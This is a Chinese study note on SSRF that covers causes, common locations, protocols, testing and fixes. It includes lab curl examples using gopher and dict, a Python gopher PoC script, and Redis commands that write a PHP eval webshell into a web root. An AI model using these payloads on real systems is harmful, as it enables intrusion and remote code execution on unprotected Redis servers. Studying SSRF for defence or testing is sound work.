SSRF漏洞学习
ssrf描述
SSRF(Server-Side Request Forgery)服务器端请求伪造是由于相关链接可以由攻击控制导致服务发起相关请求而产生的漏洞,可以达到对用户访问不到的内网系统进行探测、访问的目的
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
ssrf常见的出现位置
- 社交网站的分享内容,以及嵌入超链接的位置都有机会;
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览;
- 在线翻译,因为会翻译输入的网址网页的内容导致问题
- 图片下载/加载 通过url进行下载或者加载
- 文件收藏 存现问题的愿意类似于社交网站分享内容
- 未公开的api实现以及其他调用URL的功能,通过解析js或者通过搜索引擎的语法配合关键字进行检索,share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain…
- 相关服务的远程升级功能,若是该地址链接可控,则可以进行篡改
- 编码处理,属性信息处理、文件转换等功能,例如ffpmg,ImageMagick,docx,pdf,xml处理器等,最为明显的为XXE漏洞中可以进行ssrf利用
- 从网站采集功能,数据库内置函数、邮件接收系统
ssrf主要使用以下协议
- http/https
- ftp
- file
- dict
- Gopher
测试方法
- 通过返回内容明显的得到确认;
- 通过dnslog等平台确认是否是由服务发起访问
注意:对ssrf进行验证时,可以通过爆破子域名时得到的内网ip进行验证。
漏洞修复方式
- 在某些场景下可以采用白名单的方式对某些服务器资源进行访问,白名单包括服务器地址、端口、甚至目录等。(较为彻底的修复该问题)
- 禁用不必要的协议可以从一定程度上减轻该漏洞的危害(减轻危害)。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。(减弱危害)
- 对返回内容进行判断并限制
ssrf 漏洞实例实验
在实验中常见协议的作用
http/https
gopher协议
gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
基本格式
gopher://ip:port/_{TCP/IP数据流}
基本实验参考链接:
https://www.cnblogs.com/Konmu/p/12984891.html
-
get请求 curl gopher://192.168.220.128:80/_GET%20/post.php?name=aaaa%20HTTP/1.1%0d%0AHost:192.168.220.128%0d%0A
-
post请求 curl gopher://192.168.220.128:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:192.168.220.128%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A
- 在实际实验中get请求时可以不对“:”、“?”、“/”等内容进行URL转码,也是可以成功的
- post请求在数据报体中提交数据时,需要传递Content-Type,Content-Length,host,post的参数等四个内容
- 在结尾以及换行处使用%0d%0a代替即可
dict协议
词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。
基本格式
dict://ip:port/命令:参数
例如获取redis的key值curl dict://192.168.0.67:6379/get:name
注意问题
- dict基本格式中的命令你个部分可以连续使用多个:,例如config:set:dir:/var/www/html,自动加入回车换行较未简单
攻击redis以及FastCGI
gopher 攻击redis未授权
gopher 攻击redis POC构造方法
主要操作为使用转包工具抓取redis-cli与服务端的通信数据报,然后将数据保存为hex然后附在gopher请求的内容处,每个字节前面要加上%。
1、根据实际情况选择监听的选择项,我实验是在本地所以选择回环端口
2、使用redis-cli 链接后,发送要操作的命令,然后用wireshark抓取数据包,选择hex-dunp保存出来,在16进制前面加上%,附在gopher协议请求中即可
gopher协议攻击redis协议时程度python2 POC构造脚本
#/usr/bin/python
import rllib
protocol="gopher://"
ip="173.235.203.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)
dict攻击redis未授权
POC构造
由于dict协议的特性,只能一句一句的写入命令来达到想要的目的,另外攻击redis时特殊符号会导致截断以及报错问题的发生,例如“?”、“’”等,若是想要绕过,可以进行16进制编码然后以\x+编码的方式的表示,亲测可用
注意
在直接使用curl写入时如dict://192.168.220.129:6379/set:ddd:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e",redis并不会对编码进行解码,而在http请求中构造的dict请求协议可以,例如http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=dict://192.168.220.129:6379/set:ddd:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e"
写入webshell 过程redis原命令如下,因为使用dict 写入webshell时<、>、?等符号会存在截断、报错等问题、所以需要进行编码。
- config set dir /var/www/html
- set xxx “\n\n\n<?php @eval($_POST['c']);?>\n\n\n”
- config set dbfilename webshell.php
- save
攻击FastCGI
待补充
参考链接
https://xz.aliyun.com/t/2115?accounttraceid=41e23ce1d9dd4b89a0e90fbbba6966a8pqum
https://www.jianshu.com/p/d1d1c40f6d4c
https://www.cnblogs.com/blacksunny/p/9223300.html
https://yinwc.github.io/2018/11/16/SSRF/
https://www.freebuf.com/vuls/213714.html
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/Konmu/p/12984891.html
https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ
https://zhuanlan.zhihu.com/p/115222529
https://www.cnblogs.com/zh1z3ven/p/14214208.html